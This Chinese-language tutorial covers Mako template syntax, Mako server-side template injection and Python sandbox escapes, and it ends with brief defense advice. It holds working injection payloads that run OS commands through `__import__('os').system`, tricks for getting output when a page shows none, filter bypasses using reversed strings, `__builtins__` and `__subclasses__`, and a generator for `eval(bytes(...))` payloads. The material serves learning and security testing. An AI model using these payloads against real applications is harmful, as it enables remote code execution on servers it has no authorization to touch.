Mako模板引擎以及沙箱机制
字数 780 2025-08-25 22:58:40

Mako模板引擎及沙箱机制深入解析

Mako模板基础

Mako是Pylons的默认模板语言,类似于Jinja2与Flask的关系。它提供了强大的模板功能,同时也带来了潜在的安全风险。

基础语法

  1. 变量取值

    • ${ }语法可以执行表达式、字符串和方法
    • 示例:
      ${temp}          # 显示变量temp的值
      ${temp*2}        # 变量temp乘2
      ${pow(temp,2)}   # 变量temp的平方
      
  2. 转义符

    • u:URL地址转义
    • h:HTML转义
    • x:XML转义
    • trim:去除空格
    • 示例:
      ${"there is some text" | u}  # 输出: there+is+some+text
      ${"show <table>" | h}       # 输出: show &lt;table&gt;
      
  3. 控制结构

    %for ... : %endfor
    %if ... : ... %elif: ... % else: ... %endif
    
  4. Python代码块

    <% %>
    
  5. 导入模块

    <%! %>
    
  6. 定义函数

    <%def name="..." > ... </%def>
    ${...()}  # 调用函数
    
  7. 注释

    • 单行:##
    • 多行:<%doc>
  8. 其他特性

    • 继承模板:<%inherit ... />
    • 包含模板:<%include ... />
    • 引用:<%page ... />
    • 注意:使用%需要写成%%

示例代码

from mako.template import Template

tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>

<% c = 5 %>

% for i in my_range(c)+a:
    %if i % 2:
        ${ i }
    %endif
% endfor
''')

print(tp.render(a = [5, 6, 7, 8, 9]))

输出结果:1,3,5,7,9

过滤器

Mako过滤器使用|引用,多个过滤器用,分隔:

${" <tag>some value</tag> " | h,trim}

自定义过滤器:

<%!
import myfilters

def myescape(text):
    return "<TAG>" + text + "</TAG>"
%>

${"text" | myescape}
${"text" | myfilters.myescape}

Mako模板漏洞

常规bypass

Mako完全支持Python代码执行,可直接注入攻击代码:

<%!
import os
os.system("whoami")
%>

<%__import__("os").system("ls")%>

${__import__("os").system("whoami")}

无回显利用

Mako引入的特殊默认变量:

{
  'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
  'pageargs': {},
  '__M_caller': None,
  '__M_locals': {'pageargs': {}},
  'locals': <built-in function locals>, 
  '__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}

无回显时可使用:

${__M_writer(str(__import__("os").system("id")))}
${context.write(str(__import__("os").system("id")))}

确定Mako框架

SSTI探测方法

  1. Fuzz测试:注入特殊字符如${{<%[%'"}}%\

  2. 纯文字上下文

    ${7*7}  # 返回49表示存在SSTI
    
  3. 代码上下文

    Hello {{greeting}}  # 闭合双花括号注入
    
  4. 触发报错

    <%foobar%>  # 通过报错信息判断模板引擎
    

单字符Fuzz测试脚本

from time import sleep
import requests
import urllib
from bs4 import BeautifulSoup

url = "http://127.0.0.1:9999"
for i in range(32, 127):
    html = chr(i)
    data = {'html': html}
    r = requests.post(url=url + '/generate', data=data)
    # 分析响应判断过滤字符

沙箱机制与绕过

执行系统命令绕过

  1. import绕过

    __import__('os')
    __import__(' so'[::-1])
    __import__('s'+'o')
    
  2. 字符串绕过

    eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
    exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
    
  3. 恢复sys.modules

    sys.modules['os'] = 'not allowed' 
    del sys.modules['os']
    import os
    

执行函数替代

os.system('whoami')
os.popen('whoami').read()
getattr(os, 'metsys'[::-1])('whoami')

builtins利用

__builtins__.__dict__['__import__']('os').system('whoami')

文件读写

# Python 2.x
file('key').read()
file('key', 'w').write('Macr0phag3')

# 通用
open('key').read()
().__class__.__base__.__subclasses__()[40]('key').read()

沙箱通解

绕过字符限制的通用payload构造:

exp = '__import__("os").system("id")'

# 基本构造
print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))")

# 空格限制绕过
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")

# ==限制绕过
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

防御建议

  1. 严格过滤用户输入,特别是特殊字符和关键字
  2. 使用安全的模板渲染方式
  3. 限制可导入的模块和函数
  4. 实施完善的沙箱环境
  5. 定期更新模板引擎版本

通过深入理解Mako模板引擎的工作原理和潜在漏洞,可以更好地防御SSTI攻击,同时也能在安全测试中有效识别和利用这类漏洞。

Mako模板引擎及沙箱机制深入解析 Mako模板基础 Mako是Pylons的默认模板语言,类似于Jinja2与Flask的关系。它提供了强大的模板功能,同时也带来了潜在的安全风险。 基础语法 变量取值 : ${ } 语法可以执行表达式、字符串和方法 示例: 转义符 : u :URL地址转义 h :HTML转义 x :XML转义 trim :去除空格 示例: 控制结构 : Python代码块 : 导入模块 : 定义函数 : 注释 : 单行: ## 多行: <%doc> 其他特性 : 继承模板: <%inherit ... /> 包含模板: <%include ... /> 引用: <%page ... /> 注意:使用 % 需要写成 %% 示例代码 输出结果: 1,3,5,7,9 过滤器 Mako过滤器使用 | 引用,多个过滤器用 , 分隔: 自定义过滤器: Mako模板漏洞 常规bypass Mako完全支持Python代码执行,可直接注入攻击代码: 无回显利用 Mako引入的特殊默认变量: 无回显时可使用: 确定Mako框架 SSTI探测方法 Fuzz测试 :注入特殊字符如 ${{<%[%'"}}%\ 纯文字上下文 : 代码上下文 : 触发报错 : 单字符Fuzz测试脚本 沙箱机制与绕过 执行系统命令绕过 import绕过 : 字符串绕过 : 恢复sys.modules : 执行函数替代 builtins利用 文件读写 沙箱通解 绕过字符限制的通用payload构造: 防御建议 严格过滤用户输入,特别是特殊字符和关键字 使用安全的模板渲染方式 限制可导入的模块和函数 实施完善的沙箱环境 定期更新模板引擎版本 通过深入理解Mako模板引擎的工作原理和潜在漏洞,可以更好地防御SSTI攻击,同时也能在安全测试中有效识别和利用这类漏洞。